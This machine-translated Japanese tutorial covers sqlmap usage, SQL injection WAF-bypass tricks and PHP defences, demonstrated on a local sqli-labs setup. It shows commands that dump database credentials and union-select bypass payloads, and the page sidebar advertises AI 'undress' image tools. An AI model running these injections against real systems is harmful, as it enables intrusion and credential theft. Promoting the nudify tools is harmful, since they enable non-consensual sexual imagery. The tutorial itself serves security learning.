目次
パート 1: Sqlmap の使用
1.1 sqlmap の概要
#(1 ) すべてのライブラリ名を取得します
1. SQL インジェクションの方法を理解した後、SQL インジェクションを防ぐにはどうすればよいですか?インジェクション?
2.2 SQL インジェクション バイパス WAF 実験
3.1 SQL インジェクション防御方法
1. 一般的な保護手段:
ホームページ 運用・保守 安全性 SQLMap と SQLi インジェクション防御を分析する方法

SQLMap と SQLi インジェクション防御を分析する方法

May 11, 2023 pm 06:37 PM
sqlmap sqli

パート 1: Sqlmap の使用

1.1 sqlmap の概要

1. SQL インジェクションの基本的なステートメントについては前にいくつか説明しましたが、手動インジェクションは非常に面倒です。 SQL インジェクション。データを取得するツール。

2. sqlmap の概要

(1)#sqlmap は、SQL インジェクションの脆弱性と
を自動的に検出して悪用できるオープン ソースの侵入テスト ツールです。インターフェース データベースに入るサーバー。非常に強力な検出エンジン、複数の機能を備えたペネトレーション テスター、データベース フィンガープリンティングによる基盤となるファイル システムへのアクセス、および帯域外接続を介したコマンド実行を備えています。

公式 Web サイト: sqlmap.org

SQLMap と SQLi インジェクション防御を分析する方法

(2)#サポートされるデータベース:
MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft
Access、IBM DB2、SQLite、Firebird、Sybase、SAP MAXDB。

#(3)#複数のインジェクション方法をサポート

#UNION クエリ SQL インジェクション (クエリ インジェクションと組み合わせ可能)

#エラーベースの SQL インジェクション (エラーベースのインジェクション)
# ブールベースのブラインド SQL インジェクション (ブール インジェクション)
#時間ベースのブラインド SQL インジェクション (時間遅延インジェクションに基づく)
#スタック クエリ SQL インジェクション (マルチステートメント クエリ インジェクション)

1.2 sqlmapのインストールと環境構築

1. sqlmapのインストールの主な手順

(1) Python環境のインストール--->sqlmapにはPython環境が必要です

Pythonのダウンロードアドレス: https://www.python.org/downloads/release/python-2715/)

SQLMap と SQLi インジェクション防御を分析する方法

sqlmap は Python2.X バージョンとの互換性が高くなります (インストール手順はpython は直接次のステップに進みます。ただし、変更する必要があるのは sqlmap のインストール パスです。ここでは C:\Users\Administrator\python に変更します。コマンド ラインから sqlmap ディレクトリに直接入力して詳細を確認するには、便利な操作)

(2) Python を中国語パスにインストールせず、環境変数に Python を追加します。 ## (3) sqlmap をダウンロードしてインストールし、インストール ディレクトリを C :\Users\Administrator\sqlmap

(4) Python 環境をテストします。cmd コマンド ラインを入力し、

python,# と入力します。 ##次のプロンプトはインストールが成功したことを示しますSQLMap と SQLi インジェクション防御を分析する方法

C:\Users\ Administrator>

pythonSQLMap と SQLi インジェクション防御を分析する方法

Python 2.7.16

(v2.7.16:413a49145e, Mar 4 2019, 01:37:19) win32 の [MSC v.1500 64 ビット (AMD64)]

詳細については、「ヘルプ」、「著作権」、「クレジット」、または「ライセンス」と入力してください。 >>> exit();

(5) sqlmap テスト: cmd コマンド ラインを入力し、sqlmap.py -h (パスに注意してください) C:\ Users\Administrator\sqlmap>
sqlmap.py -h #ヘルプ情報を表示

1.3 sqlmap の共通パラメータ

#(1) ライブラリ名、カラム名、権限の取得

SQLMap と SQLi インジェクション防御を分析する方法--dbs #すべてのデータベースの取得

##--dbms mysql #データベースの種類を指定します

--users #すべてのデータベース ユーザー ( データベースのローカル ユーザー名)
  • --passwords #データベースのパスワードを取得します (許可がある場合にのみ読み取ることができます)
  • --technique #使用する注入タイプを指定します
  • --current-db #Currentデータベース
  • --banner #データベース識別の取得

  • #-D データベース名 --tables #-D はデータの指定に使用され、--tables はデータを取得します特定のライブラリの下のテーブル

  • -D データベース名 -T テーブル名 --columns #-T はテーブル名を指定し、 --columns は列フィールドを取得します

  • #-D データベース名 -T テーブル名 -C 列_1,列_2 --dump
  • #-C はフィールド名を指定します。- - 表示結果をダンプします

  • --users #列データベース管理ユーザー: 現在のユーザーがすべてのユーザーを含むテーブルを読み取る権限を持っている場合、すべての管理ユーザーをリストできます。

  • --current-user #データを管理するユーザーは、ほとんどのデータベースで取得できます。

  • --is-dba #現在のユーザーが管理者であるかどうかを判断し、管理者である場合は True を返します。


  • --privileges #現在のユーザーがすべてのユーザーを含むテーブルを読み取る権限を持っている場合、各ユーザーの権限がリストされる可能性が高く、sqlmap はどのユーザーに属しているかを示します。データベースのスーパー管理者。 -U パラメーターを使用して、表示するユーザーの権限を指定することもできます。
  • --proxy #プロキシ サーバーを指定します。例: –proxy http://local:8080
  • (2) 指定します。プレフィックスとサフィックス:

    • #sqlmap は多くの干渉文字を検出できません。閉じるときに、プレフィックスとサフィックスを手動で指定できます

    • select * from users where id=((( '1 '))) および 1=1

    • #--prefix=PREFIX ペイロード文字列を挿入します prefix


    • --suffix=SUFFIXペイロードの挿入文字列サフィックス
      例: sqlmap -u "www.target.com/index.php?id=1" -p id --prefix "'))"

      --suffix "AND ('1' = '1"

    #(3) 結果のエクスポート:

    • ##sqlmap -u "www.a.com/ 1.php?id=1” --file-write=”d:/1.txt”

    • --file-dest=”E:/wwwroot/web/one. php "

    • #--完全自動バッチ

    • #--start=開始番号--stop=終了番号
    • ##--dump データのエクスポート

    • ##--dump-all すべてのデータのエクスポート

    • ##--purge-output/ -- purge キャッシュ ディレクトリをクリアします
    • --sql-shell SQL クエリ アナライザーに似たリバウンド sqlshell デフォルトの path.sqlmap (sqlmap をクリック)
    • #1.4 sqlmap の実際の例
    • #Less-1--Less65 の一般的なステートメント (これらは最も一般的に使用されるパラメータであるため、理解しておく必要があります)

    #(1 ) すべてのライブラリ名を取得します

    C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -- dbs --dbms= mysql --batch

    # 分析:

    -u に続く URL はテスト URL を示します

    --dbs はすべてのデータベースの取得を示します

    --dbms は、指定されたデータベース タイプが mysql であることを意味します

    --batch は自動的に取得することを意味します

    -D security --tables は指定されたデータベースのテーブルを次のように取得することを意味しますsecurity Name

    -D security -T users --columns は、指定されたデータベースの users テーブルの列名を security

    -D security -T users -C username,password として取得することを意味します--dump # セキュリティ ライブラリとユーザー テーブルのユーザー名とパスワード フィールドのデータ情報を取得します。 --dump は結果を表示することを意味します

    Result:

    #[*]チャレンジ

    [*] dvwa

    [*] information_schema

    [*] mysql

    [*] owasp

    [*] Performance_schema[*] security[*] テスト


    #(2) 現在のライブラリ名を取得します

    C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less- 1?id=1" --current -db --batch

    #結果:

    現在のデータベース: 'セキュリティ'

    #(3) を取得します。現在のテーブル名

    C :\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security --tables --batch
    # 結果:

    データベース:セキュリティ[4 テーブル] ----------
    | メール |

    | Referers |

    | uagents || users | ----------



    #(4) 現在の列名を取得

    C:\Users\Administrator \sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security -T users --columns --batch

    #結果:


    データベース: セキュリティテーブル: ユーザー[3 列]
    ---------- ---- ---------

    | 列 | 型 |

    ---------- ------------- | id | int (3) || パスワード | varchar (20) |
    | ユーザー名 | varchar(20) |
    ---------- ----------- --


    #(5) users テーブルのユーザー名とパスワードの内容を取得します。

    C:\Users\Administrator\sqlmap>python sqlmap.py -u "http:/ /localhost/sqli/Less-1?id=1" -D security -T users -C username,password --dump --batch


    結果:

    データベース:セキュリティテーブル: ユーザー[13 エントリ ]
    ---------- ------------

    | ユーザー名 | パスワード |

    ---------- --- --------- | バカ | バカ || アンジェリーナ | 殺すよ |
    | ダミー | p@ ssword |
    | 安全 | くだらない |
    | 愚か | 愚かさ |
    | スーパーマン | 天才 |
    | バットマン | 暴徒 |
    | 管理者 | 管理者 |
    | 管理者 1 | admin1 |
    | admin2 | admin2 |
    | admin3 | admin3 |
    | dhakkan | dumpo |
    | admin4 | admin4 |
    ---------- --- ---------

    パート 2: SQL インジェクションの WAF バイパス

    2.1 SQL インジェクションの WAF バイパス方法の概要


    注: こここれらはバイパス方法を説明するための単なる例であり、実際のシナリオはより複雑です。複雑です。複数のバイパス方法を混合してエンコードすることができます。

    1. SQL インジェクションの方法を理解した後、SQL インジェクションを防ぐにはどうすればよいですか?インジェクション?

    ##(1) コメント文字のフィルタ

    #(2) and or or

    ## のフィルタ

    (3) フィルタの選択または結合
    • #(4) フィルタのブラックリスト
    • 2. フィルタリングおよび/またはバイパスとは何ですかメソッド?
    • #(1) Mysql は大文字と小文字を区別しないため、正しく実行できます。===>ケースの変形を使用する
  • #(2)mysql は 16 進数をサポートしており、16 進数または URL エンコーディングを使用します;

  • #(3)単語を記号で置き換えます = ==> 記号のバイパスand(&&) or(||)

  • #(4) インライン コメントと複数行コメント===>デリケートな言葉でコメントを追加する a/**/nd 二重書き込みバイパス oORr

3. もちろん他の方法もあります。これらのフィルタリング方法を例として、バイパス方法について説明します。

waf があります。

2.2 SQL インジェクション バイパス WAF 実験

1. アノテーションをフィルタリングします (例として 23 未満)

#(1) コメント文字をフィルタリングする理由: 通常の SQL ステートメントでは、コメント文字は説明的な役割を果たします。ただし、SQL インジェクションの脆弱性を悪用する過程で、コメント文字は一重引用符、複数の一重引用符、二重引用符、一重括弧、および複数括弧を閉じる役割を果たします。
単一行のコメント: -- または --space または
#複数行のコメント: /* 複数行のコメントの内容* /

#(2) フィルター関数 preg_replace
preg_replace(mixed $pattern,mixed $replacement,mixed $subject): 正規表現による検索と置換を実行します。
$pattern: 検索するパターン。文字列または文字列配列にすることができます。
$replacement: 置換に使用される文字列または文字列配列。
$subject: 検索および置換されるターゲット文字列または文字列配列。

SQLMap と SQLi インジェクション防御を分析する方法

#(3) コメント文字をバイパスします:
コメント文字を使用してフィルタリングすると、一重引用符などを正常に閉じることができません。別の考え方を使用して、または '1 '='1 閉じ一重引用符など。
http://127.0.0.1/sqli/Less-23/?id=-1' 共用体選択 1,database(),'3

SQLMap と SQLi インジェクション防御を分析する方法

2。フィルター処理された and or or をバイパスするにはどうすればよいですか? (例として Less-25)

(1) ソース コード分析: or または and が空の

SQLMap と SQLi インジェクション防御を分析する方法# に置き換えられていることがわかります。

##(2) 操作手順

SQLMap と SQLi インジェクション防御を分析する方法SQLMap と SQLi インジェクション防御を分析する方法SQLMap と SQLi インジェクション防御を分析する方法

3. フィルターされたスペースをバイパスするには? (例として Less-26)

(1)使用する スペースとして機能するには

SQLMap と SQLi インジェクション防御を分析する方法

4. フィルタリングされた選択/共用体をバイパスするにはどうすればよいですか? (Less-27 が例です)

SQLMap と SQLi インジェクション防御を分析する方法SQLMap と SQLi インジェクション防御を分析する方法SQLMap と SQLi インジェクション防御を分析する方法

SQLMap と SQLi インジェクション防御を分析する方法SQLMap と SQLi インジェクション防御を分析する方法#パート 3: SQL インジェクション防御

3.1 SQL インジェクション防御方法

1. 一般的な保護手段:

#(1)、エラー プロンプトをオフにします: PHP 設定ファイル php.ini の display_errors=Off

# (2)、マジック クオート (addslashes と同じ効果): php.ini の場合、magic_quotes_gpc=の上。送信された変数内のすべての一重引用符 (')、二重引用符 (")、バックスラッシュ (\)、および NUL (NULL 文字) は、バックスラッシュを含むエスケープ文字に自動的に変換されます

#(3)、データをフィルターします。 、and/or/union
#(4) などの一般的なキーワードをフィルタリングします。データベースに接続するためのユーザー権限を制御します。各ライブラリは 1 つのライブラリに対して管理者を設定します。root 権限は使用しません。
#( 5)、前処理とパラメータ化 (PDO): データを単純に「結合」するのではなく、ユーザーから渡されたパラメータを処理してブール値を返すことで、SQL インジェクションを回避します。
#(6) ハードウェア保護対策 (WAF)およびその他のハードウェア)

以上がSQLMap と SQLi インジェクション防御を分析する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

Sqlmap 自動インジェクションのサンプル分析 Sqlmap 自動インジェクションのサンプル分析 May 13, 2023 pm 03:31 PM

sqlmap を使用して dvwa へのインジェクションを自動化し、dvwa レベルを低く設定し、dvwa の SQLInjection (SQLInjection(Blind)) を開き、ブラウザーのデバッグを開き、ユーザー ID を入力して送信し、インターセプトされた要求を表示します。これは GET リクエストである URL「http://192.168.1.222:8089/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#」であることがわかります。これをテストするために salmap に直接入れます。 - u コマンド -u"http://192.168.1.22

sqlmap を使用して問題を分析する方法 sqlmap を使用して問題を分析する方法 May 27, 2023 pm 01:07 PM

0x00 概要 最近、sqlmap インジェクション テストを使用しているときに、上位バージョンの sqlmap ではインジェクションを検出できないが、下位バージョンではインジェクションを検出でき、誤検知ではなくデータが枯渇するという奇妙な現象に遭遇しました。比較テストを行って sqlmap のソース コードを表示したところ、2 つの小さな穴が見つかりました。 0x01 シナリオ再現注入ポイント形式: json..."whereparams":[{"name":"keyWord","value":"test"}]} 注入可能なパラメータ:valuesqlmap コマンド:pythonsqlmap.py-rsqlpk.txt–フラッシュ-session-vvsqlmapv1.2.11 は を注入できません

SQLMap と SQLi インジェクション防御を分析する方法 SQLMap と SQLi インジェクション防御を分析する方法 May 11, 2023 pm 06:37 PM

パート 1: Sqlmap の使用 1.1 sqlmap の概要 1. SQL インジェクションの基本的なステートメントをいくつか説明しましたが、手動インジェクションは非常に面倒です. データを取得するには、強力な SQL インジェクション ツールである sqlmap を使用できます 2. sqlmap の概要 (1) # sqlmap は、SQL インジェクションの脆弱性とデータベースに接続されているサーバーを自動的に検出して悪用できるオープンソースの侵入テスト ツールです。非常に強力な検出エンジン、複数の機能を備えたペネトレーション テスター、データベース フィンガープリンティングによる基盤となるファイル システムへのアクセス、および帯域外接続を介したコマンド実行を備えています。公式 Web サイト: sqlmap.org(2)#サポートされるデータベース: MySQL、Oracle、PostgreS

SQLMAPのオニオンモードプロキシとは何ですか? SQLMAPのオニオンモードプロキシとは何ですか? May 26, 2023 am 09:56 AM

外部 Web サイトへの侵入テストを行う必要があるため、ほとんどの Web サイトではアクセス頻度制御が行われており、この頻度を超えると、その IP は直接禁止されます。特に SQLMAP の実行中はさらに「おばさんっぽく」なり、SQLMAP の実行が終了する前にエラーが報告されて終了します。そこで SQLMAP のプロキシ モードについて勉強し始めたのですが、SQLMAP には通常のプロキシ (HTTP プロキシ) とオニオン プロキシの 2 つのプロキシ モードがあります。当初は通常のエージェントの適用について書きたかったのですが、Baidu はこの記事が十分に詳細であると判断し、くだらない話をやめました。 Sqlmap 拡張 - 外部 IP プロキシ プールの実装 オニオン プロキシに焦点を当てましょう。当初、オニオンがインジェクションに直接使用されていたとき、「赤おばさん」レポートはありませんでした。その後、侵入 Web サイトの数が増加するにつれて、

sqlmap 時間ベースの注入の分析を実装する方法 sqlmap 時間ベースの注入の分析を実装する方法 May 12, 2023 pm 12:10 PM

1. はじめに SQL インジェクションを検出するにはどうすればよいですか?私の答えは、「当事者 A がセキュリティを行っている場合、SQL インジェクションの検出は比較的簡単に実行できる」です。 1) エラー挿入の検出。 2) 誤検知が比較的多いため、ブール値エラー レポートを挿入しないでください。 3) 時間ベースのタイム インジェクションを実行し、低速ログ データベース レコードを作成するための操作とメンテナンスに連絡し、スリープを監視し、ベンチマーク キーワードを監視します。位置付けを容易にするために、スリープ時間の小数点にスキャン タスクの ID 番号を追加できます。 (追記: この方法で SQL インジェクションの 99% を見つけることができます) したがって、時間ベースのタイム インジェクションを行う場合、私は時間エラーを非常に厳しく制限します。ただし、@chengable は、t に基づいて、パーティ B でセキュリティ関連の作業を行っています。

sqlmap _dns インジェクション構成方法とは何ですか? sqlmap _dns インジェクション構成方法とは何ですか? May 12, 2023 pm 12:25 PM

インターネット上には、sqlmap の DNS インジェクションに関する関連記事が少なすぎます。--dns-domain パラメーターについて簡単に紹介しているだけです。関連する実用的な記事は曖昧であるか、一度に言及されており、混乱を招きます (主に不正直、重要なのはまだビッグボスではありません)。そこでネット上の方法を参考に再度やってみました。準備する必要があるものには、1 つの sqlmap、Windows ブラインド インジェクション、2 つのドメイン名、および外部ネットワーク サーバーが含まれます。ある時、何かをしていた時にタイムブラインドインジェクションに出会い、たまたまWindowsマシンだったのでDNSインジェクションの方法を思い出しました。開始する前に、sqlmap の --sql-shell コマンドを使用して、DNS インジェクション ペイロードをテストする予定です。まず、burpsuite に移動します。

sqlmap処理署名暗号化の考え方 sqlmap処理署名暗号化の考え方 May 14, 2023 am 11:52 AM

同社のアプリをテストしたところ、すべてのパラメーターの内容に 32 ビット文字が追加され、最終的に MD5 暗号化が実行されていることがわかりました。 APPの処理プロセスでは最初に署名が正しいかどうかを検証するため、署名検証に失敗するとデータベースにまったく入れなくなりますが、それをテストするためにSQLMAPを使用するために、プロキシデータ用のスクリプトを作成しました。データ パケットでは、そのパラメータの内容と 32 文字の暗号化された置換が実行されます。注: このスクリプトは、暗号化プロセスを知ることができたり、フロントエンド JS の暗号化方式を取得したりできるため、企業の内部システムに適しています。まず、会社のシステムをシミュレートするために、Django を使用して POST ID とトークンを取得し、カスタムの暗号化単語を追加するプログラムを作成しました。

sqlmapGetshellの使用方法 sqlmapGetshellの使用方法 May 13, 2023 pm 06:25 PM

sqlmap はファイルの読み取りと書き込みを行います。 –file-read: バックエンド データベース管理システムのファイル システムからファイルを読み取ります。 –file-write: バックエンド データベース管理システムのファイル システム上のローカル ファイルを編集します (ローカルから書き込みます) –file-dest :バックエンド データベース管理システムによって書き込まれるファイルへの絶対パス (書き込みターゲット パス)。SQL インジェクション後に上記のコマンドを使用してシステム ファイルの読み取りと書き込みを行うことができますが、前提条件として読み取りと書き込みができる必要があります。 dba. 権限を持っている場合、読み取りおよび書き込み操作は正常に実行できません。 DVWA を例として、ファイルの読み取りと書き込みを行うために kali の下に DVWA を構築します。ファイルを読み取ります。PHPinfo で関連情報を確認し、-file-r を使用します。

See all articles